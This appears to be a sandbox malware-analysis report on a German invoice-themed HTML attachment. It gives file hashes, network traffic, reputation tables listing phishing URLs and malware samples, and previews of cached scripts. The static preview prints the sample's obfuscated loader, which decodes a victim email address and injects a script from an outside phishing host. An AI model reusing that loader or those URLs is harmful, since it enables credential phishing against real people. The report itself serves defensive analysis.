	https://teksavvy.securitycat.net/XNzZkalFYMEtPMTFjb29wbGtzTlBWSDNPQ0pqeUxzMDJEUGMwb2xkd000QklKUTVSUVdXQTBXTm01UnFyN2lCcjAxdXJvU0lXeUtVaEwwNlprVzBrL1BGSXJ4T1ZYbVlKN2JMaEVHQXdJY0xGM2lsY1hvalpOS3EySGNwT2xuUnBtZkZBWXFPNEM2VWZla0NoN2pyVURvN0FpZlNPSVBpcXBnUkh5bWprNDhvSDRZa3dKTmpaeFRQQm9kVHZWSXR4THc4allSdmtUTVZuclgyV0plaz0tLWZsZWw3S1ErNzBWa3pDVy8tLUM4UGpndEMxazlHR2dsUjhQZ01Bd0E9PQ==?cid=29838816	Get hash	malicious	KnowBe4	Browse	1.1.1.1
	AmEZrFh7we.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	8B2OPYfdY7.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	5Puuy5biVB.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.80.1
HOSTLABTR	https://esincecocuk.com/833002.html	Get hash	malicious	HTMLPhisher	Browse	45.158.14.34
	RFQ.xlsx	Get hash	malicious	Unknown	Browse	46.31.79.76
	Request_for_Quotation.xlam.xlsx	Get hash	malicious	Unknown	Browse	46.31.79.76
	12.exe	Get hash	malicious	DarkCloud	Browse	45.158.14.18
	Sales Pending Order 23.01.23.exe	Get hash	malicious	DarkCloud	Browse	46.31.79.76
	USD FATURASI.exe	Get hash	malicious	DarkCloud	Browse	46.31.79.76
	Ziraat Bankasi Swift Mesaji.pdf.exe	Get hash	malicious	DarkCloud	Browse	46.31.79.76
	WHxiiCpTpSOVc4J.exe	Get hash	malicious	AgentTesla	Browse	46.31.79.76
	SecuriteInfo.com.Win32.RATX-gen.31963.32035.exe	Get hash	malicious	AgentTesla	Browse	46.31.79.76
	7X65yVEAjk.exe	Get hash	malicious	AgentTesla	Browse	46.31.79.76
DTAGInternetserviceprovideroperationsDE	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	91.54.23.57
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	31.253.255.23
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	93.213.112.135
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	91.5.46.40
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	93.229.52.84
	splspc.elf	Get hash	malicious	Unknown	Browse	31.238.25.142
	nklmips.elf	Get hash	malicious	Unknown	Browse	62.154.61.23
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	80.149.192.133
	nklppc.elf	Get hash	malicious	Unknown	Browse	93.210.14.149
	nklsh4.elf	Get hash	malicious	Unknown	Browse	91.33.155.58
CLOUDFLARENETUS	http://raretoonsindia.co	Get hash	malicious	Unknown	Browse	104.21.25.152
	3tEL1ZRXA6.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#luke.tatam@southwark.anglican.org	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	zYAfYcBcCD.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	IWu5fyDQYO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.64.1
	https://teksavvy.securitycat.net/XNzZkalFYMEtPMTFjb29wbGtzTlBWSDNPQ0pqeUxzMDJEUGMwb2xkd000QklKUTVSUVdXQTBXTm01UnFyN2lCcjAxdXJvU0lXeUtVaEwwNlprVzBrL1BGSXJ4T1ZYbVlKN2JMaEVHQXdJY0xGM2lsY1hvalpOS3EySGNwT2xuUnBtZkZBWXFPNEM2VWZla0NoN2pyVURvN0FpZlNPSVBpcXBnUkh5bWprNDhvSDRZa3dKTmpaeFRQQm9kVHZWSXR4THc4allSdmtUTVZuclgyV0plaz0tLWZsZWw3S1ErNzBWa3pDVy8tLUM4UGpndEMxazlHR2dsUjhQZ01Bd0E9PQ==?cid=29838816	Get hash	malicious	KnowBe4	Browse	1.1.1.1
	AmEZrFh7we.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	8B2OPYfdY7.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	5Puuy5biVB.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.80.1

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	46
Entropy (8bit):	3.2849687981892175
Encrypted:	false
SSDEEP:	3:CUkwltxlHhT:PT
MD5:	CC114ADD1D7D1AF2ACD8BA671C9B7B03
SHA1:	1C96ED6597E58F0137BE85708BD5C344DA60DE9F
SHA-256:	8C9C9A4F5BD3716838A4A9E6C73E0833CDD1382D16C1C0C2BAE6F4EC4D6864CC
SHA-512:	70F810FCD4E001D4B8D470EB5B34654B1388EA4E660684EA26D15A160EA755EE36852FD7FA8E2571DA7FA5E34CAA7AC8914E73CB0B6B59B1263D9690F683CEEE
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;if.

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	13529
Entropy (8bit):	7.981473427014176
Encrypted:	false
SSDEEP:	384:WNmROHjlvBUz6cyeYP5c0BZE/fLtZO4ZTyKBvag:umROHrteYvZA798g
MD5:	3EEFFD5E7F96EE19160EE0825AE7125A
SHA1:	972607DACBF55571A329CC15151D8D62BC95CA42
SHA-256:	6F15987DCBA055366BF7ECEC02A42949E326C4548F11DA42124F58A22FFCF0E6
SHA-512:	39EEF3197AA3AF7CB3D9613117660988B43D612F3A802D5A53938A9504CE2FB321ADE6941B57D9577CB97B7A0746FE35D77E513E92282B389DB74F9F5E892BC6
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	./..HNZ=....z....Y....2.]Gu)..........L..@zv..r.].51..%.f....U.s.....t...VCR..m...Mw.+~...Hl`.....p.}.... ..8s.<..4>".sLQ....l..C...!4]HjJ.......@?....A).:.v?..U{no:.7$...1>@'cR..KE.RJ........E...8.\|hu.....j....'..%.S.9..3......x2.}.O....u.......L...=..[x?.{...../.........%].`2...h#K_q....jN.;.....?....vy.......wQ.d..w... ..aWD..qm.q,.v..... ..g._j..L..+......._.qM.....D.,....q.....\|.<!....@.y$y.....A..g.[.A....n...S.......X./..n..9.5Y.)k....o..qj?.%......p{.md........zH.j....u....9[..fv0F..G...8.F..&...7..+.\|sO.k..W..W.....4...]>........._..0d..2.l.....7..:..2x..$.O].eq..,.....f]n"c#..r..T...w[..[e...E.q,...........zP.i.k...N.=..1..@8.SV..h.FK6.m...)...6r....3.`.9.......K.......p.[\|.5n...H.(...D..d.X......D......,..=....n.Y....o.y..{@0S......)Kn.\.k3.8.....#....^}.n..L..g{..K./.E.....[...........]...$.....+C.%.....\.K..Eq,.Ch.....".A..nK..R...'1 2]'3..U.\..:!..O.......C.KK..YB...b..y-..~1iA...VN .V...^&.w.}.w...v....(......HC{.Y...

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 190 x 136
Category:	dropped
Size (bytes):	7769
Entropy (8bit):	7.866696840399522
Encrypted:	false
SSDEEP:	96:EvhY24qvLyIGS0EOKzMiBvwGw0jce0QFzw9EVwxmPQvv437gS4u0RdODVG5q3ca:EvhwjEOhUwGzcP9uQ437gA0Rgnca
MD5:	D3F8BC7AC4ECF30CA4758B5C62019FF1
SHA1:	6DFF5E9F830837ED1096A57A78A48DF556817375
SHA-256:	6F33FF6C416C63D45FA7B99131422EE4A1124ED5CF1B409B1AE73003D5712A03
SHA-512:	5A8774C5FF17835E14A6AC9F6BB5C5A12F482FB20C8A49D43B2ABFE0EAC6C6B8967632B48AF39A1B3D18A20C070FE5524FC056896098000BB22273C92CD071A2
Malicious:	false
Preview:	GIF89a..........D..K.....J......U......C..M.............c..I....Q...J.......p....U..L..L..l..uuu...{{{...U..........Q..]..B.........e....I..G.._........h..[.....S..G..E..E......<......................................................................................................................................................................................................................................................................................................O................A..G.................K....................G..A..............;..F..N..K......?..}..@.......................B..C...........................E..k........H..L..b........q..v..z..{.....P..Z..^.............x.................C.......................!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/199

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 190 x 136
Category:	downloaded
Size (bytes):	7769
Entropy (8bit):	7.866696840399522
Encrypted:	false
SSDEEP:	96:EvhY24qvLyIGS0EOKzMiBvwGw0jce0QFzw9EVwxmPQvv437gS4u0RdODVG5q3ca:EvhwjEOhUwGzcP9uQ437gA0Rgnca
MD5:	D3F8BC7AC4ECF30CA4758B5C62019FF1
SHA1:	6DFF5E9F830837ED1096A57A78A48DF556817375
SHA-256:	6F33FF6C416C63D45FA7B99131422EE4A1124ED5CF1B409B1AE73003D5712A03
SHA-512:	5A8774C5FF17835E14A6AC9F6BB5C5A12F482FB20C8A49D43B2ABFE0EAC6C6B8967632B48AF39A1B3D18A20C070FE5524FC056896098000BB22273C92CD071A2
Malicious:	false
URL:	https://email.t-online.de//resources/linkmail/intro_stage.gif
Preview:	GIF89a..........D..K.....J......U......C..M.............c..I....Q...J.......p....U..L..L..l..uuu...{{{...U..........Q..]..B.........e....I..G.._........h..[.....S..G..E..E......<......................................................................................................................................................................................................................................................................................................O................A..G.................K....................G..A..............;..F..N..K......?..}..@.......................B..C...........................E..k........H..L..b........q..v..z..{.....P..Z..^.............x.................C.......................!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/199

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 600 x 45
Category:	downloaded
Size (bytes):	3717
Entropy (8bit):	7.697434923254535
Encrypted:	false
SSDEEP:	48:HnpqTeRTvfh/aIkW3qQNn2xY21O1BJ351se1/L87mpkDzML9TIibc+ESlbFCHavq:HnpqTITvIIkWaY2+HhoML9TvoGFd9g
MD5:	D88079CBD736B1A864C3DA54C733C97A
SHA1:	E1951E9AEA87AAE9113FE84191A03E8DB5373001
SHA-256:	2D8C67A8382B486843947C5654B8E6B84429A522D8A16611BBD64651FA11A865
SHA-512:	CDB6C2D57C6F7EF0821D3A908D21A19A4A78CAE6FDEABD22D4441B8738801963C4202D64D8D2FE467742C024DCFE338159D848B7FE590376DB3529DE862FBF7E
Malicious:	false
URL:	https://email.t-online.de//resources/linkmail/erleben_was_verbindet_DE.gif
Preview:	GIF89aX.-............\|.o..O........?..../.._...........K...x.......x...z...........u...w....l..............B..)..........6...........v........v.............'.....i......y.M...~....C.....>...........u.0.....e..4.. ..u..n...........{.....&..-.........{.#..<........}....w..z........t..{..a.........H.............~.~.......Z.....Q.........$..5..2...x..........`..S..m...............@....................L.....V........"..:.....q.....A..R..E.....v.....7..+.........W..r.......d..3..f..F..........y..}..........*..b..s...........,....w.8..............}..k.................%.....1..N..=..I..h.....\|..g..!.............c..Y..9..J..(......\|....G...........t......................................................................................................!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/199

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	46
Entropy (8bit):	3.2849687981892175
Encrypted:	false
SSDEEP:	3:CUkwltxlHhT:PT
MD5:	CC114ADD1D7D1AF2ACD8BA671C9B7B03
SHA1:	1C96ED6597E58F0137BE85708BD5C344DA60DE9F
SHA-256:	8C9C9A4F5BD3716838A4A9E6C73E0833CDD1382D16C1C0C2BAE6F4EC4D6864CC
SHA-512:	70F810FCD4E001D4B8D470EB5B34654B1388EA4E660684EA26D15A160EA755EE36852FD7FA8E2571DA7FA5E34CAA7AC8914E73CB0B6B59B1263D9690F683CEEE
Malicious:	false
URL:	https://email.t-online.de//resources/linkmail/spacer.gif
Preview:	GIF89a.............!.......,...........D..;if.

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	127227
Entropy (8bit):	7.998212773095205
Encrypted:	true
SSDEEP:	1536:dYv6qu10A2T+iYQRCCWd02s4mld1zl62DX7rrr8EeuRom6pNysr6o212aqJXc2Tr:d+6V09RCxddl2zUEZodPGo/aKsDdEZ
MD5:	AB9ECC5F6C8AF4DCACD7AB9AC9CBC104
SHA1:	103A8BC4733A69C6C4CDE41FC81C7DC454DCC7C9
SHA-256:	AF4834F08A5331800BF4336CDF4CA8BB2364D3D5BE0FD29833329734F9B9B784
SHA-512:	DCC5D38EFDC3DCA11F24ABF01FC7778FE6C5E21630A10C594632F4072FB7098C7D5A5EA7BCB208DA40839DDEB582860D75B0F89D73AA7A9D7F1252B64D5A5158
Malicious:	false
URL:	https://cdn.tailwindcss.com/3.4.16
Preview:	e......\|_.....\..a.....8..i.8igG.......X...H.....oZ...\|J&M.e...4S@..k.#U...=.\.....k.....{.....f..../n7.Y:...e.$.%.>R...... I..v ..J..R.....66.66...s2....!.\|P......=......O.?.}.-.....W.1B.T.?[3..'..E..-.O.:uy..[5ycQ..{.......q.gk...?I.G.1}...8B..q.....W.ZF...}4b? a...{l..Lq.....d.O...X.w.,.:..\....V..Sh..Y..h\|..Zkl...Qq.;.....W..g.(.h....&c=........!.nC..v......bJ.....vD.\l.bw..d.w.y.i..0........<..Zz#...`..(. ...<;o.....z?..~.............]G."..r.?L...+......@.F...B.t..!.0..e...j.uD.....r.......b.iB.8.......8...FE.hf.v..}u....U.]tz?......Ch)m.3.y.f.K.YHr..J.v.P.F.........p.2......g...cw.....%..>....:e.k...lI.GI..d..t...IO.x.!.yw.b.cw.......yk.[..\...B.s.\|.3..?.^.....WW3e.5.r.Z:..v..sv.,:3.0..\.p.1..g....d.0p..I...........=...gzV2\...p.W?p.<....V..iB.J.G..=..........{..66.c......83...n.]G..>._g......~....:l....w....-^....Y2..AyJk..@......\|...U..:g..S?......'.w!.h.~.Z.}.1.=S.#...J.g2.#..A...?..IY.!2O.~.....qR.$p.?.....H...\k.D..<C *`.....v.

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 600 x 45
Category:	dropped
Size (bytes):	3717
Entropy (8bit):	7.697434923254535
Encrypted:	false
SSDEEP:	48:HnpqTeRTvfh/aIkW3qQNn2xY21O1BJ351se1/L87mpkDzML9TIibc+ESlbFCHavq:HnpqTITvIIkWaY2+HhoML9TvoGFd9g
MD5:	D88079CBD736B1A864C3DA54C733C97A
SHA1:	E1951E9AEA87AAE9113FE84191A03E8DB5373001
SHA-256:	2D8C67A8382B486843947C5654B8E6B84429A522D8A16611BBD64651FA11A865
SHA-512:	CDB6C2D57C6F7EF0821D3A908D21A19A4A78CAE6FDEABD22D4441B8738801963C4202D64D8D2FE467742C024DCFE338159D848B7FE590376DB3529DE862FBF7E
Malicious:	false
Preview:	GIF89aX.-............\|.o..O........?..../.._...........K...x.......x...z...........u...w....l..............B..)..........6...........v........v.............'.....i......y.M...~....C.....>...........u.0.....e..4.. ..u..n...........{.....&..-.........{.#..<........}....w..z........t..{..a.........H.............~.~.......Z.....Q.........$..5..2...x..........`..S..m...............@....................L.....V........"..:.....q.....A..R..E.....v.....7..+.........W..r.......d..3..f..F..........y..}..........*..b..s...........,....w.8..............}..k.................%.....1..N..=..I..h.....\|..g..!.............c..Y..9..J..(......\|....G...........t......................................................................................................!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/199

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	92095
Entropy (8bit):	2.936238996272705
Encrypted:	false
SSDEEP:	384:A9QzpGqmPoO7srDbaF/iJZp5wnebbIl1iE/iEtmZY0E0MeTwBzBzBJFDMtsliA3J:wQzLEz7iDbaRturzZDT3sNl8MCtTiH
MD5:	A58D2D0C578DFD953B9AB0F294C02AC3
SHA1:	144323EDA37222B207351EC618F303526268529B
SHA-256:	A0C14B2616D5A36F22B194E56D089BAFE1234A12777412E67A3805647438F6E0
SHA-512:	E7AC7CC4DDC1459BFC0E8B679A72205682AE00DF7EC042FCE9082E76B2E157FC5A8E39C3FCC32637C2F0DB89EEB4F33ED5E15062F23CFA1C06D3C0A5B1A1519C
Malicious:	false
URL:	https://said.yasarmuhendislik.com.tr/ps.js
Preview:	document.write(unescape('%0A%20%20%3C%21%44%4F%43%54%59%50%45%20%48%54%4D%4C%20%50%55%42%4C%49%43%20%22%2D%2F%2F%57%33%43%2F%2F%44%54%44%20%48%54%4D%4C%20%34%2E%30%31%20%54%72%61%6E%73%69%74%69%6F%6E%61%6C%2F%2F%45%4E%22%0A%20%20%20%20%20%20%20%22%68%74%74%70%3A%2F%2F%77%77%77%2E%77%33%2E%6F%72%67%2F%54%52%2F%68%74%6D%6C%34%2F%6C%6F%6F%73%65%2E%64%74%64%22%3E%0A%3C%68%74%6D%6C%3E%0A%09%3C%68%65%61%64%3E%0A%09%09%3C%74%69%74%6C%65%3E%3C%2F%74%69%74%6C%65%3E%0A%09%09%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%63%6F%6E%74%65%6E%74%2D%74%79%70%65%22%20%63%6F%6E%74%65%6E%74%3D%22%74%65%78%74%2F%68%74%6D%6C%3B%20%63%68%61%72%73%65%74%3D%75%74%66%2D%38%22%3E%0A%09%09%3C%73%74%79%6C%65%3E%0A%09%09%09%2F%2A%20%4D%6F%64%61%6C%20%53%74%79%6C%65%73%20%2A%2F%0A%09%09%09%2E%6D%6F%64%61%6C%20%7B%0A%09%09%09%09%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%3B%20%2F%2A%20%48%69%64%64%65%6E%20%62%79%20%64%65%66%61%75%6C%74%20%2A%2F%0A%09%09%09%09%70%6F%73%69%74%69%6F%6E%3A%20%66%69%78%65%64%3B%20%2F

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Static File Info

General

File type:	HTML document, ASCII text
Entropy (8bit):	5.89636077089472
TrID:	HyperText Markup Language (6006/1) 100.00%
File name:	RECHNUNG_Lieferschein_001927.htm
File size:	273 bytes
MD5:	bde9b127e136e1596ff7d7be5790759f
SHA1:	573352726f4a2f4191e3a78a84d1f19085c67c26
SHA256:	50b993abace304ad8e61e7c0d80b5a39e63dfc127476b7ec0bafeb114398c6d2
SHA512:	30e5ae9f8c7aa05d6b820fc658724467cf7fc44cbba68c19710435ae49d5afb482b1837cfa93b43e1ae2b1f920feb6d52cfa6fdb4cae1edbcb37091a5149c492
SSDEEP:	6:qFzL/X0F9cEy2OVcgLkAB5+wu2jepNw/NX+t2wFv0gaXdpHikb:uX89cEycgLkAXxxe/wd+bwnHikb
TLSH:	A2D095252D74DE47001D8510FCB8E88CE2FD3050F191DD3265DF948704773904C14C64
File Content Preview:	<html>.<head>.<script>.var d = "d2VybmVyLm1laW5lbkB0LW9ubGluZS5kZQ==";.</script>.<script> var _N6X=['PHNjcmlwdCBzcmM9Imh0dHBzOi8vc2FpZC55YXNhcm11aGVuZGlzbGlrLmNvbS50ci9wcy5qcyI+PC9zY3JpcHQ+Cg==',"\x77\x72\x69\x74\x65"]; document[_N6X[1]](unescape(atob(_N

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 10, 2025 13:56:02.086380005 CET	49672	443	192.168.2.6	204.79.197.203
Mar 10, 2025 13:56:02.397864103 CET	49672	443	192.168.2.6	204.79.197.203
Mar 10, 2025 13:56:03.007205963 CET	49672	443	192.168.2.6	204.79.197.203
Mar 10, 2025 13:56:04.210340023 CET	49672	443	192.168.2.6	204.79.197.203
Mar 10, 2025 13:56:06.616595984 CET	49672	443	192.168.2.6	204.79.197.203
Mar 10, 2025 13:56:11.216043949 CET	49678	443	192.168.2.6	20.42.65.91
Mar 10, 2025 13:56:11.445048094 CET	49672	443	192.168.2.6	204.79.197.203
Mar 10, 2025 13:56:11.573513985 CET	49678	443	192.168.2.6	20.42.65.91
Mar 10, 2025 13:56:12.210344076 CET	49678	443	192.168.2.6	20.42.65.91
Mar 10, 2025 13:56:12.605101109 CET	49692	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:12.605143070 CET	443	49692	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:12.605196953 CET	49692	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:12.605791092 CET	49692	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:12.605803967 CET	443	49692	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:13.192579985 CET	49692	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:13.193674088 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:13.193708897 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:13.193783998 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:13.194252014 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:13.194269896 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:13.240328074 CET	443	49692	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:13.415363073 CET	49678	443	192.168.2.6	20.42.65.91
Mar 10, 2025 13:56:14.790369987 CET	443	49692	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:14.790441036 CET	49692	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:15.381587982 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:15.386646986 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:15.386667967 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:15.387756109 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:15.388084888 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:15.391588926 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:15.391680002 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:15.392277002 CET	49694	443	192.168.2.6	46.31.79.76
Mar 10, 2025 13:56:15.392292976 CET	443	49694	46.31.79.76	192.168.2.6
Mar 10, 2025 13:56:15.542828083 CET	49694	443	192.168.2.6	46.31.79.76
